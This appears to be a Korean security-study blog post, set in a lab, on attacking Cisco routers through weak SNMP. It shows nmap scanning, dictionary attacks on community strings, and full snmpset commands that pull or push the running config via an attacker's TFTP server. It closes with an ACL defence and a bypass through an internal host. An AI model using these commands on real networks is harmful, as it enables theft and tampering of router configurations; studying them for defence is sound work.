정보보안공부

네트워크 보안_ SNMP 취약점 - TFTP서버 본문

정보보안/네트워크보안

네트워크 보안_ SNMP 취약점 - TFTP서버

Steady_sp 2018. 11. 9. 16:02

네트워크보안_SNMP 취약점 - TFTP 서버

- Vmware 가상머신 사용

- BackTrack , CentOS , XP

 

<SNMP 취약점 - TFTP 서버>

 

** SNMP

-> 네트워크 관리를 위한 프로토콜

-> Manager와 Agent의 구조로 이루어져 있다.

- Manager : Agent로 부터 정보를 제공받는다.

- Agent : Agent가 설치된 시스템의 정보나 네트워크 정보등을 수집하여 MIB형태로 보관한다.

 

** SNMP 데이터 수집 방법

1) Polling 방식

 

2) Event Reporting 방식

 

** SNMP의 기능

- 네트워크 구성 관리 : 네트워크상의 시스템들의 구조를 파악할 수 있다.

- 성능 관리 : 각 네트워크 세그먼트간 네트워크 사용량, 에러율, 처리속도, 응답시간등 성능 분석이 필요한 통계정보를 얻을 수 있다.

- 장비 관리 : 네트워크 정보 뿐만 아니라 시스템에 관한 정보까지 제공

 

** SNMP 버전

- SNMP v1 : 트래픽을 암호화하지 않으며, 보안 기능도 없다. Community String에만 의존, 공격에 매우 취약하다.

- SNMP v2 : SNMP v1에 보안가능과 네트워크 과부하 관리효율성 등을 향상시킨다. 상용화되지 않았다.

- SNMP v2c : SNMP v2 에서 보안기능을 제거, Community String 사용, 현재 가장많이 사용된다.

- SNMP v3 : Manager/Agent 구조를 개체로 변경한다. 각 장치들이 manager가 될 수도 있고 Agent가 될 수도 있다. 보안 기능이 보강

 

** SNMP 취약점

-> SNMP v1과 v2의 경우 community string 에만 의존한다.

-> SNMP agent의 입장에서 master를 확인할 수 있는 방법이 없다.

 

** Community String 획득 방법

-> Bruteforcing, Dictionary Attack

=> Community String을 획득 후에는 환경설정 파일 열람및 수정을 통한 공격이 가능하고 간단한 정보 수집에서부터 관리자 권한 획득 및 Dos까지 다양한 형태의 공격이 가능하다.

 

** snmpset을 통한 시스템의 정보 수집

# snmpset –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.N i 1

-> 환경 설정파일을 upload/download할 때 사용할 프로토콜 지정

-> ccCopyProtocol 지정, tftp(1), ftp(2), rcp(3), scp(4), sftp(5) 중 1을 사용했으므로 tftp사용
# snmpset –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.3.N i 4

-> 복사할 원본 파일의 타입을 지정

-> ccCopySourceFileType 지정, networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5) 중 4를 사용했으므로 runningConfig파일 지정
# snmpset –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.4.N i 1
-> 복사할 대상 파일의 타입을 지정

-> ccCopyDestinationFileType 지정, networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5) 중 4를 사용했으므로 runningConfig파일 지정

# snmpset –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.5.N a <공격자IP>
-> 다운로드 업로드에 사용할 서버의 IP주소

-> ccCopyServerAddress

# snmpset –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.6.N s <파일명>
-> 저장할 파일 이름 또는 복사할 파일이름

-> ccCopyServerFileName

# snmpset –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.14.N i 1
-> 생성된 테이블의 상태를 의미, 1로 설정할 경우 기록된 대로 파일복사 수행

-> ccCopyEntryRowStatus 지정, active(1), noInServer(2), noReady(3), createAndGo(4), createAndWait(5), destroy(6)

# snmpget –v 2c –c <community String> <희생자IP> 1.3.6.1.4.1.9.9.96.1.1.1.1.10.N

-> Upload/Download의 결과

-> ccCopyState

-> waiting(1), running(2), success(3), failed(4)

 

#1 GNS를 통해 실습환경 구축

 

 

-> XP의 IP : 1.1.1.3 / 255.255.255.0

-> BT5의 IP : 1.1.1.1 / 255.255.255.0

-> ESW1의 IP : 1.1.1.254 / 255.255.255.0

 

 

-> 라우터에서 snmp를 사용하는데 community string 값을 private으로 지정, RW 읽기쓰기 권한 부여

 

#2 SNMP 공격 시도과정

 

1) 공격자가 SNMP를 사용하는 161번 포트의 상태를 확인한다.

2) 161번 포트가 열려있으면 공격가능 -> Community String값을 알아낸다.

3) Community String을 알아낸후 -> TFTP를 통해 cisco-config-copy mib값으로 공격시도

 

**1 공격자는 SNMP를 사용하는 161포트가 열려있는지 시도

 

#> nmap -sU -p 161 1.1.1.0/24

 

 

-> nmap사용시 타겟IP를 대역대 또는 해당 IP로 지정한다.

-> -sU는 udp scan , -p는 161번 포트스캔

=> 공격타겟은 1.1.1.254

 

**2 공격자는 Community String 값을 알아내기 위해 공격

 

#> cd /pentest/enumeration/snmp/onesixtyone

#> ./onesixtyone -c dict.txt 1.1.1.254

 

 

-> dictionary 공격 또는 brute force 공격을 통해 community String값이 private라는 것을 알아낸다.

 

**3 TFTP서버 실행해놓기

 

 

-> 실행하기 위해 777권한 부여

 

 

**4 Cisco-Config-Copy MIB를 통해 라우터정보 가져오기

 

 

-> 입력을 완료하면 config_file라는 이름으로 라우터의 running config 파일정보를 확일할 수 있다.

 

 

-> 라우터의 이름 ESW1과 라우터의 IP설정 사항등을 공격자가 확인 가능

 

**5 Cisco-Config-Copy MIB를 통해 라우터정보 위조하기

 

 

-> 받아온 라우터 정보에 라우터이름을 변조한 후 다시 라우터에게 파일을 전송하면 라우터의 이름이 바뀌나 확인해보기

 

 

-> 위조한 라우터정보를 라우터에게 전송

 

 

-> 라우터이름이 변경되었다.

 

#3 쉘스크립트를 작성해서 공격실행하기

 

** upload파일

 

 

-> NO, IP, FN 변수를 지정해 입력받고 실행파일의 권한을 부여한다.

 

** download파일

 

 

-> NO, IP, FN 변수를 지정해 입력받고 실행파일의 권한을 부여한다.

 

#3 방어기법

 

** 라우터 접근 통제 설정

 

 

-> 라우터에서 1.1.1.3만 허용하도록 위와같이 설정한다.

-> 공격자의 IP는 1.1.1.1이므로 공격은 실행되지 않는다.

 

#4 우회기법

 

-> 라우터 설정에 XP는 허용되어 있기 때문에 공격자는 XP를 통해 라우터로 통신할 수 있다. XP도 TFTP서비스를 사용해야 우회 가능하다.

=> 같은 네트워크에서 진행, 내부 pc를 장악한 후에 공격을 진행해야 한다.

 

** BT5에서 TFTP를 사용하는 타겟 IP 확인

 

 

-> 1.1.1.3 에 TFTP 를 확인하고 1.1.1.3을 통해 우회한다.

 

** BT5에서 XP를 통해 라우터 정보 우회해서 가져오기

 

-> 라우터에 1.1.1.3 IP만 허용하고 있는 것을 공격자가 악용해 1.1.1.3을 통해 라우터 정보를 다운/업로드 할 수 있다.

 

 

-> 공격자가 1.1.1.3이 라우터에게 정보를 요청한다고 설정하면 라우터는 1.1.1.3이 요청한 것으로 인식해 자신의 설정 정보를 1.1.1.3에게 준다.

 

 

-> 공격자 의도대로 XP가 요청한 것으로 라우터가 받아들여 자신의 라우터 정보가 XP로 전송됬다.

 

 

-> 공격자는 TFTP 클라이언트 기능을 통해 1.1.1.3에 있는 bypass_run.config를 Get으로 다운로드하면 공격자는 라우터 설정 정보를 획득한다.

 

 

 

-> XP로 우회하여 라우터 설정정보를 획득한 것을 확인

 

** BT5에서 XP를 통해 라우터 정보를 우회해서 위조하기

 

 

-> 공격자가 획득한 라우터 정보의 이름을 Attack_bypass로 변경후 공격이 이루어지는지 확인해본다.

 

 

-> TFTP 클라이언트 기능을 통해 위조한 bypass_run.config 파일을 1.1.1.3으로 put을 통해 업로드 시킨 후 snmp_download.sh 파일을 통해 1.1.1.3이 라우터로 위조된 bypass_run.config 파일을 보낸다.

 

 

-> 공격으로 인해 라우터의 이름이 Attack_bypass로 변경된 것을 확인 할 수 있다.

 

Comments